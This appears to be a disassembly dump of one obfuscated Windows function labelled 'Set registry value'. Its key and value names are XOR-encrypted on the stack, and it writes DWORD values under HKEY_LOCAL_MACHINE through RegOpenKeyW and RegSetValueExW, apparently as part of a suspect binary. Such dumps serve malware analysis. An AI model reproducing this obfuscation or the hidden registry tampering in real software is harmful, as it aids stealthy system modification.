Function at 0x140400196
Capabilities:
Set registry value

Disassembly:
push r15
sar ax, 0x39
push r14
push r13
push r12
movzx rax, r14w
cmova r15w, bp
rol r15b, cl
push rsi
xor r15w, sp
sal r13b, 0x11
sub sil, 0x91
push rdi
test r11d, ebx
bt eax, 0x4c
push rbp
and r13b, 0x81
adc r12, 0x32911ca1
push rbx
dec r14b
sub rsp, 0x2f8
movabs rax, 0xe009ec3224c8fd6e
movsx r15w, sil
movzx r12d, r10w
xchg sil, r15b
mov qword [rsp + 0x2e0], rax
not bx
xchg edi, r15d
setg r14b
mov qword [rsp + 0x40], rax
movabs rax, 0x2204bcb80ebea5a3
movzx rdi, r9w
bswap r13w
mov qword [rsp + 0x2d8], rax
movsxd r14, r10d
movsx esi, r12w
cmovae r13w, dx
mov qword [rsp + 0x48], rax
movsx r14d, r15w
cbw
movabs rax, 0xfbc9f38de01f2fa2
mov qword [rsp + 0x2d0], rax
movzx ebx, r13w
movsx esi, bp
not bp
mov qword [rsp + 0x50], rax
movzx edi, r12w
mov bl, sil
movabs rax, 0x17a75ff95317a686
movzx bx, dl
mov qword [rsp + 0x2c8], rax
mov qword [rsp + 0x58], rax
cmovo ax, cx
cdqe
movabs rax, 0xfd99d5578f55fa6f
sets r15b
movzx rsi, si
movzx esi, sp
mov qword [rsp + 0x2c0], rax
cmovs rbx, r10
mov qword [rsp + 0x60], rax
movabs rax, 0x4b3964fdcd447246
mov qword [rsp + 0x2b8], rax
mov qword [rsp + 0x68], rax
movabs rax, 0xee88324679eb2227
not r13
movsx r15w, cl
mov qword [rsp + 0x2b0], rax
mov qword [rsp + 0x70], rax
movsx r15w, r14b
setns r14b
xchg ah, bh
movabs rax, 0x6d7346ad6d4ffefa
mov qword [rsp + 0x2a8], rax
movsx r15w, dl
movsx esi, cx
mov qword [rsp + 0x78], rax
movsxd rbp, r15d
mov sil, bpl
bswap si
movabs rax, 0xd093683aef376a76
setb r15b
not r15b
jmp 0x140400326
mov qword [rsp + 0x2a0], rax
mov qword [rsp + 0x80], rax
movabs rax, 0xa80f93e9d32b8c6f
setg bl
mov qword [rsp + 0x298], rax
mov qword [rsp + 0x88], rax
cwde
movabs rax, 0x33e730243394033e
movsx ebx, sp
setne bpl
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x90], rax
jmp 0x14040037f
movabs rax, 0xe7e3977e114e6703
movzx r14w, sil
bswap bx
mov qword [rsp + 0x288], rax
movsx r14, cx
xchg r12w, bx
movsx si, r10b
mov qword [rsp + 0x98], rax
cdqe
cbw
movabs rax, 0xb0b65ec58a603c8
mov qword [rsp + 0x280], rax
movsx r14d, r15w
mov qword [rsp + 0xa0], rax
cdqe
movabs rax, 0x6708be65ca8156d7
bswap edi
mov qword [rsp + 0x278], rax
jmp 0x1404003ee
mov qword [rsp + 0xa8], rax
movabs rax, 0x46a7044da5524090
xchg esi, r12d
not r12
mov qword [rsp + 0x270], rax
movzx r12d, di
mov qword [rsp + 0xb0], rax
mov r13b, 0xcf
not r12
movsx r14, si
movabs rax, 0x4b8cb541ca050f46
mov qword [rsp + 0x268], rax
not r12w
jmp 0x140400443
mov qword [rsp + 0xb8], rax
lahf
xchg ah, bh
movzx bx, dil
movabs rax, 0xe627ab41184af921
movzx rbx, ax
movzx ebx, dx
bswap r13w
mov qword [rsp + 0x260], rax
movsxd rdi, r12d
mov qword [rsp + 0xc0], rax
mov r12w, bx
jmp 0x140400484
movabs rax, 0x34c77b6e31b9a
mov qword [rsp + 0x258], rax
movsx r13w, spl
mov r13w, r10w
mov qword [rsp + 0xc8], rax
xchg di, r15w
setae r12b
movabs rax, 0xd8cf4ec0049852bb
movsxd rdi, r13d
xchg sil, r14b
not r15b
mov qword [rsp + 0xd0], rax
movabs rax, 0xa5eac9844f8ea419
mov qword [rsp + 0xd8], rax
mov r12d, ebx
not r12b
movsx si, cl
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x3c], 0
cbw
movabs rbp, 0x2eb490333e21dae3
xchg al, r15b
movsx eax, dx
movzx rbx, cx
mov qword [rsp + 0xe0], rbp
bswap r14w
mov r12, r11
movabs r14, 0x28903e48668cb956
mov qword [rsp + 0xe8], r14
lahf
movabs r15, 0xe05dec612491fd3d
movsx rbx, r8w
mov qword [rsp + 0x100], r15
movsx rbx, r11w
cwde
bswap esi
movabs r12, 0x2247bce40ef3a5e6
movzx edi, r13w
movsx bx, dl
setno dil
mov qword [rsp + 0x108], r12
movsx rbx, r14w
bswap eax
jmp 0x140400575
movabs rsi, 0xfbacf3ffe06d2fd7
movsx eax, cx
mov qword [rsp + 0x110], rsi
cwde
cdqe
bswap bx
movabs rdi, 0x17c85fba5363a6e8
mov qword [rsp + 0x118], rdi
bswap rax
movabs rax, 0xfdf6d5258f21fa01
movzx bx, r15b
cmova bx, r13w
mov qword [rsp + 0x120], rax
mov rbx, rax
xchg r13d, r13d
movzx r13w, dl
movabs rax, 0x4b4d6498cd17722a
mov qword [rsp + 0x2f0], rax
movzx r13d, dx
movzx r13, r8w
setle r13b
mov qword [rsp + 0x128], rax
movsxd rax, esp
movabs rax, 0xeefa322379b8227b
mov r13b, al
mov qword [rsp + 0x250], rax
movzx r13, r14w
movsx r13d, r11w
movsx r13w, dil
mov qword [rsp + 0x130], rax
cmovno rax, rdi
bswap r13w
movsx eax, r11w
movabs rax, 0x6d1646ce6d26fe8c
mov qword [rsp + 0x248], rax
jmp 0x140400646
mov qword [rsp + 0x138], rax
movabs rax, 0xd0fb6869ef6b6a05
mov r13w, 0x21da
movzx r13, r11w
mov r13w, r9w
mov qword [rsp + 0x240], rax
mov r13w, 0x533
not r13
mov r13b, r13b
mov qword [rsp + 0x140], rax
lahf
jmp 0x140400686
movabs rax, 0xa86b938cd3598c0e
movsx r13d, r11w
movsx r13, bx
jmp 0x14040069d
mov qword [rsp + 0x238], rax
bswap r13d
mov qword [rsp + 0x148], rax
movabs rax, 0x3382304733f7037f
movzx r13, r12w
mov r13, 0x454007b
cmove r13w, cx
mov qword [rsp + 0x230], rax
setnp r13b
movsxd r13, r8d
movzx r13w, dl
mov qword [rsp + 0x150], rax
movsxd r13, r9d
cwde
movabs rax, 0xe7b39722113d6770
movsx r13w, r15b
xchg r13d, r13d
mov qword [rsp + 0x228], rax
movsxd r13, r11d
mov qword [rsp + 0x158], rax
movabs rax, 0xb66658d58d403a9
movsx r13d, r8w
mov qword [rsp + 0x220], rax
mov r13, 0x31b6260
mov qword [rsp + 0x160], rax
mov r13b, r15b
movsxd rax, r10d
movabs rax, 0x677abe00caf556b2
mov qword [rsp + 0x218], rax
jmp 0x140400751
mov qword [rsp + 0x168], rax
lahf
movzx r13d, r14w
movsxd r13, r10d
movabs rax, 0x46ce040ba50e40e3
movsx r13w, al
cmovns r13w, ax
movsx r13, si
mov qword [rsp + 0x210], rax
mov qword [rsp + 0x170], rax
movabs rax, 0x4bedb536ca600f34
xchg r13d, r13d
mov qword [rsp + 0x208], rax
movsx r13w, dl
setae r13b
jmp 0x1404007ac
mov qword [rsp + 0x178], rax
movabs rax, 0xe648ab111826f94d
seta r13b
mov qword [rsp + 0x200], rax
mov qword [rsp + 0x180], rax
movzx rax, si
movabs rax, 0x7a4c14b68a1bf6
mov qword [rsp + 0x1f8], rax
mov r13, rsi
movzx r13w, r14b
mov qword [rsp + 0x188], rax
movabs rax, 0xd8a24eaf04dc52e7
mov qword [rsp + 0x1f0], rax
xchg r13b, r13b
not r13
mov qword [rsp + 0x190], rax
movabs rax, 0xa5bac9ea4fe7a478
movsx r13w, r14b
movzx r13w, bl
mov qword [rsp + 0x1e8], rax
cmovs r13d, r10d
movsx r13, r9w
mov qword [rsp + 0x198], rax
movabs rax, 0x2edd90553e4eda91
mov r13, r12
setg r13b
movzx r13, bx
mov qword [rsp + 0x1e0], rax
jmp 0x14040086a
mov qword [rsp + 0x1a0], rax
cwde
movabs rax, 0x28903e4866e9b93a
cmovg r13d, ebp
xchg r13, r13
movsx r13d, r12w
mov qword [rsp + 0x1d8], rax
movsx r13w, r11b
mov qword [rsp + 0x1a8], rax
cmovs r13, r15
lea r13, [rsp + 0x100]
cbw
mov rax, r13
jmp 0x1404008b3
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1404008bd
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1404008ca
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1404008d4
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
jmp 0x1404008e2
movaps xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm0
movaps xmm0, xmmword [rsp + 0x70]
jmp 0x1404008fa
xorps xmm0, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm0
movaps xmm0, xmmword [rsp + 0x80]
jmp 0x140400910
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
jmp 0x140400921
movaps xmm0, xmmword [rsp + 0x90]
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
jmp 0x14040093a
movaps xmm0, xmmword [rsp + 0xa0]
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
jmp 0x140400953
movaps xmm0, xmmword [rsp + 0xb0]
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
movaps xmm0, xmmword [rsp + 0xc0]
jmp 0x140400974
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
jmp 0x140400988
movaps xmm0, xmmword [rsp + 0xd0]
jmp 0x140400995
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x1404009a9
movaps xmm0, xmmword [rsp + 0xe0]
jmp 0x1404009b6
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
movsx edx, di
lea rdx, [rsp + 0x40]
movzx rcx, r11w
movsx r8, r15w
lea r8, [rsp + 0x30]
not ch
movzx rcx, r15w
movzx ecx, r8w
mov rcx, 0xffffffff80000002
jmp 0x1404009f0
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
movabs rax, 0xe03fec0024fffd78
mov qword [rsp + 0x1d0], rax
jmp 0x140400a0d
mov qword [rsp + 0x40], rax
movsx rax, r13w
cwde
movabs rax, 0x222ebca20e96a58a
jmp 0x140400a26
mov qword [rsp + 0x1c8], rax
jmp 0x140400a33
mov qword [rsp + 0x48], rax
nop
movabs rax, 0xfbcdf388e0082fa5
jmp 0x140400a49
mov qword [rsp + 0x2e8], rax
jmp 0x140400a56
mov qword [rsp + 0x50], rax
movabs rax, 0x17c85fba530fa684
mov qword [rsp + 0x1c0], rax
jmp 0x140400a72
mov qword [rsp + 0x58], rax
movsx ax, bh
movsx rax, si
cwde
mov qword [rsp + 0x100], r15
movzx rax, bx
cmova rax, r15
mov qword [rsp + 0x108], r12
movsx rax, r11w
mov ax, di
movzx eax, r8w
mov qword [rsp + 0x110], rsi
setl ah
mov qword [rsp + 0x118], rdi
setg al
cdqe
movzx eax, r10w
mov rax, r13
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x140400acc
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x140400ad9
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x140400ae3
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
sar r9, 0x63
mov rcx, qword [rsp + 0x30]
sbb rax, 0x4aa6ee1
movsx r9, r10w
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 4
lea rdx, [rsp + 0x40]
sub r8d, r8d
mov r9d, 4
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
jmp 0x140400b3e
mov qword [rsp + 0x40], rax
cdqe
cbw
cwde
mov rax, qword [rsp + 0x2d8]
jmp 0x140400b55
mov qword [rsp + 0x48], rax
cwde
movsx rax, r12w
cbw
mov rax, qword [rsp + 0x2d0]
jmp 0x140400b6e
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x2c0]
jmp 0x140400b8d
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x2b8]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x2b0]
jmp 0x140400bac
mov qword [rsp + 0x70], rax
movsx rax, cx
mov rax, qword [rsp + 0x2a8]
jmp 0x140400bc2
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x2a0]
jmp 0x140400bd4
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x298]
jmp 0x140400be9
mov qword [rsp + 0x88], rax
movsxd rax, esi
cbw
mov ax, 0x446e
mov rax, qword [rsp + 0x290]
jmp 0x140400c07
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x288]
mov qword [rsp + 0x98], rax
cbw
cdqe
mov rax, qword [rsp + 0x280]
jmp 0x140400c30
mov qword [rsp + 0xa0], rax
movzx rax, dx
jmp 0x140400c44
mov rax, qword [rsp + 0x278]
jmp 0x140400c51
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0x270]
jmp 0x140400c66
mov qword [rsp + 0xb0], rax
movsx ax, r8b
mov rax, qword [rsp + 0x268]
jmp 0x140400c80
mov qword [rsp + 0xb8], rax
jmp 0x140400c96
mov rax, qword [rsp + 0x260]
jmp 0x140400ca3
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x258]
jmp 0x140400cb8
mov qword [rsp + 0xc8], rax
movabs rax, 0xd8c04eda048c52bb
jmp 0x140400ccf
mov qword [rsp + 0xd0], rax
xchg ah, al
mov al, r11b
movzx eax, dx
movabs rax, 0xa5eac9894f8ea414
mov qword [rsp + 0xd8], rax
movsx eax, di
mov qword [rsp + 0xe0], rbp
mov qword [rsp + 0xe8], r14
cwde
movsx rbp, bx
mov bpl, 0x5b
mov qword [rsp + 0x100], r15
lahf
cwde
mov qword [rsp + 0x108], r12
movsx rax, r9w
movsx ebp, sp
movzx ax, dil
mov qword [rsp + 0x110], rsi
xchg r14b, r14b
movsxd rax, ebx
mov qword [rsp + 0x118], rdi
movzx ebp, dx
mov r14b, dil
mov rbp, rbx
mov qword [rsp + 0x120], rbx
cbw
mov r14, qword [rsp + 0x2f0]
movzx ax, r9b
mov qword [rsp + 0x128], r14
movsx eax, r12w
jmp 0x140400d71
mov rax, qword [rsp + 0x250]
jmp 0x140400d7e
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0x248]
jmp 0x140400d93
mov qword [rsp + 0x138], rax
movsx ax, dl
lahf
setb ah
mov rax, qword [rsp + 0x240]
jmp 0x140400db0
mov qword [rsp + 0x140], rax
movzx rax, r11w
mov rax, qword [rsp + 0x238]
jmp 0x140400dc9
mov qword [rsp + 0x148], rax
movsx rax, r13w
movzx rax, bx
not ah
mov rax, qword [rsp + 0x230]
mov qword [rsp + 0x150], rax
cdqe
mov rax, qword [rsp + 0x228]
jmp 0x140400dfa
mov qword [rsp + 0x158], rax
movzx ax, al
bswap ax
movsx rax, di
mov rax, qword [rsp + 0x220]
jmp 0x140400e1a
mov qword [rsp + 0x160], rax
cbw
mov rax, qword [rsp + 0x218]
jmp 0x140400e31
mov qword [rsp + 0x168], rax
movzx rax, bx
lahf
jmp 0x140400e43
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0x170], rax
mov ax, si
movsx ax, cl
movzx eax, ax
mov rax, qword [rsp + 0x208]
jmp 0x140400e6a
mov qword [rsp + 0x178], rax
nop
mov rax, qword [rsp + 0x200]
jmp 0x140400e80
mov qword [rsp + 0x180], rax
not ax
movsx eax, bp
movsx ax, spl
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0x188], rax
mov rax, qword [rsp + 0x1f0]
jmp 0x140400eb0
mov qword [rsp + 0x190], rax
xchg al, al
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x198], rax
mov rax, qword [rsp + 0x1e0]
jmp 0x140400ed7
mov qword [rsp + 0x1a0], rax
cwde
movsxd rax, r9d
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x1a8], rax
mov rax, r13
jmp 0x140400efb
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x140400f05
movaps xmm1, xmmword [rsp + 0x50]
jmp 0x140400f0f
movaps xmm2, xmmword [rsp + 0x60]
jmp 0x140400f19
xorps xmm0, xmmword [rax]
movaps xmm3, xmmword [rsp + 0x70]
jmp 0x140400f26
movaps xmmword [rsp + 0x40], xmm0
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm1
jmp 0x140400f39
xorps xmm2, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm2
jmp 0x140400f47
xorps xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm3
jmp 0x140400f55
movaps xmm0, xmmword [rsp + 0x80]
jmp 0x140400f62
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
jmp 0x140400f73
movaps xmm0, xmmword [rsp + 0x90]
jmp 0x140400f80
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
jmp 0x140400f91
movaps xmm0, xmmword [rsp + 0xa0]
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
jmp 0x140400faa
movaps xmm0, xmmword [rsp + 0xb0]
jmp 0x140400fb7
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
jmp 0x140400fc8
movaps xmm0, xmmword [rsp + 0xc0]
jmp 0x140400fd5
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
jmp 0x140400fe9
movaps xmm0, xmmword [rsp + 0xd0]
jmp 0x140400ff6
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x14040100a
movaps xmm0, xmmword [rsp + 0xe0]
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
bswap ecx
movsx rdx, si
lea rdx, [rsp + 0x40]
movsx ecx, r11w
mov rcx, 0xffffffff80000002
lea r8, [rsp + 0x30]
jmp 0x140401041
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov rax, qword [rsp + 0x1d0]
movsx ebx, r13w
movzx rbx, sp
mov qword [rsp + 0x40], rax
cmovp eax, r12d
bswap bx
cdqe
mov rax, qword [rsp + 0x1c8]
movsx ebx, r13w
mov qword [rsp + 0x48], rax
setl bl
cbw
cmove ax, r12w
mov rbx, qword [rsp + 0x2e8]
mov qword [rsp + 0x50], rbx
movzx rax, r12w
movzx eax, r12w
cmova ax, dx
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x58], rax
cbw
mov qword [rsp + 0x100], r15
movsx eax, bp
mov ax, r12w
movsx rax, cx
mov qword [rsp + 0x108], r12
not al
cdqe
mov qword [rsp + 0x110], rsi
mov qword [rsp + 0x118], rdi
movsx eax, r8w
mov rax, r13
jmp 0x1404010e3
movaps xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1404010f5
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1404010ff
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
cdq
and rcx, rbp
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x20], rax
cmp r13b, r8b
bsf dx, dx
mov dword [rsp + 0x28], 4
rcl dh, cl
jmp 0x140401135
lea rdx, [rsp + 0x40]
sub r8d, r8d
movzx r9d, r8w
movsx r9, r13w
mov r9b, 0x18
mov r9d, 4
jmp 0x140401153
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
jmp 0x140401171
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x2d8]
jmp 0x140401183
mov qword [rsp + 0x48], rax
lahf
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x2c8]
jmp 0x1404011a3
mov qword [rsp + 0x58], rax
movsx rax, r14w
mov rax, qword [rsp + 0x2c0]
jmp 0x1404011b9
mov qword [rsp + 0x60], rax
movzx eax, sp
mov ax, 0x3609
mov rax, qword [rsp + 0x2b8]
jmp 0x1404011d2
mov qword [rsp + 0x68], rax
movsx ax, r9b
mov rax, qword [rsp + 0x2b0]
jmp 0x1404011e9
mov qword [rsp + 0x70], rax
lahf
cdqe
movsx eax, r10w
mov rax, qword [rsp + 0x2a8]
jmp 0x140401202
mov qword [rsp + 0x78], rax
movzx ax, dh
mov al, r14b
not rax
mov rax, qword [rsp + 0x2a0]
mov qword [rsp + 0x80], rax
mov eax, 0x60f5217e
mov rax, qword [rsp + 0x298]
jmp 0x140401233
mov qword [rsp + 0x88], rax
jmp 0x140401247
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x288]
mov qword [rsp + 0x98], rax
mov ah, 0x5f
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0xa0], rax
nop
cwde
mov rax, qword [rsp + 0x278]
jmp 0x14040128a
mov qword [rsp + 0xa8], rax
movsx rax, r15w
movzx eax, r12w
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0xb0], rax
lahf
cbw
movzx rax, di
mov rax, qword [rsp + 0x268]
jmp 0x1404012be
mov qword [rsp + 0xb8], rax
cwde
mov rax, qword [rsp + 0x260]
jmp 0x1404012d4
mov qword [rsp + 0xc0], rax
mov al, 0x36
movzx eax, cx
cbw
mov rax, qword [rsp + 0x258]
jmp 0x1404012f0
mov qword [rsp + 0xc8], rax
movsx eax, si
nop
jmp 0x140401302
movabs rax, 0xd8c34edb048f52bb
jmp 0x140401311
mov qword [rsp + 0xd0], rax
cmovae eax, r15d
cwde
movsx ax, sil
movabs rax, 0xa5c8c98b4f83a416
jmp 0x140401332
mov qword [rsp + 0xd8], rax
movsxd rax, edx
bswap ax
not al
movabs rax, 0x2eb290273e1edaf5
jmp 0x140401351
mov qword [rsp + 0xe0], rax
cdqe
movabs rax, 0x28f53e246680b95c
jmp 0x14040136a
mov qword [rsp + 0xe8], rax
cbw
movsxd rax, eax
mov qword [rsp + 0x100], r15
mov qword [rsp + 0x108], r12
mov qword [rsp + 0x110], rsi
movsx eax, r11w
movsxd rax, ebx
nop
mov qword [rsp + 0x118], rdi
cdqe
movzx rax, bp
mov qword [rsp + 0x120], rbp
cdqe
mov qword [rsp + 0x128], r14
mov rax, qword [rsp + 0x250]
jmp 0x1404013c5
mov qword [rsp + 0x130], rax
mov al, 0x1d
mov rax, qword [rsp + 0x248]
jmp 0x1404013dc
mov qword [rsp + 0x138], rax
mov rax, qword [rsp + 0x240]
jmp 0x1404013f1
mov qword [rsp + 0x140], rax
movzx ax, r14b
mov rax, qword [rsp + 0x238]
jmp 0x14040140b
mov qword [rsp + 0x148], rax
cdqe
nop
mov rax, qword [rsp + 0x230]
jmp 0x140401424
mov qword [rsp + 0x150], rax
movsx eax, ax
cdqe
mov rax, qword [rsp + 0x228]
jmp 0x14040143e
mov qword [rsp + 0x158], rax
mov rax, qword [rsp + 0x220]
mov qword [rsp + 0x160], rax
movsx eax, si
mov rax, qword [rsp + 0x218]
jmp 0x140401466
mov qword [rsp + 0x168], rax
movsx eax, r10w
nop
mov al, r14b
mov rax, qword [rsp + 0x210]
jmp 0x140401484
mov qword [rsp + 0x170], rax
mov rax, qword [rsp + 0x208]
jmp 0x140401499
mov qword [rsp + 0x178], rax
movsx ax, ah
mov rax, qword [rsp + 0x200]
jmp 0x1404014b2
mov qword [rsp + 0x180], rax
xchg ah, ah
cbw
mov rax, qword [rsp + 0x1f8]
jmp 0x1404014cb
mov qword [rsp + 0x188], rax
jmp 0x1404014df
mov rax, qword [rsp + 0x1f0]
jmp 0x1404014ec
mov qword [rsp + 0x190], rax
mov al, dh
mov rax, qword [rsp + 0x1e8]
jmp 0x140401503
mov qword [rsp + 0x198], rax
movsx ax, r11b
movzx eax, di
mov rax, qword [rsp + 0x1e0]
jmp 0x140401520
mov qword [rsp + 0x1a0], rax
mov eax, 0x59a8358f
cmovb ax, sp
jmp 0x140401536
mov rax, qword [rsp + 0x1d8]
jmp 0x140401543
mov qword [rsp + 0x1a8], rax
not ax
cbw
lahf
movabs rax, 0xa1410f538a85c08b
jmp 0x140401560